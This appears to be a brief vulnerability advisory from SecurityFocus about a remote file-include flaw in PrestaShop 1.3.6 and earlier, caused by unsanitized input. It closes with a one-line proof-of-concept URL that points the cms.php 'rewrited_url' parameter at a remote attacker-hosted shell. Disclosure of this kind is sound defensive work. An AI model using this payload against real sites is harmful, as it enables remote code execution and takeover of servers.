source: https://www.securityfocus.com/bid/47264/info PrestaShop is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. PrestaShop 1.3.6 and prior are vulnerable; other versions may also be affected. http://www.example.com/[path]/cms.php?rewrited_url=http://[Shell-Path]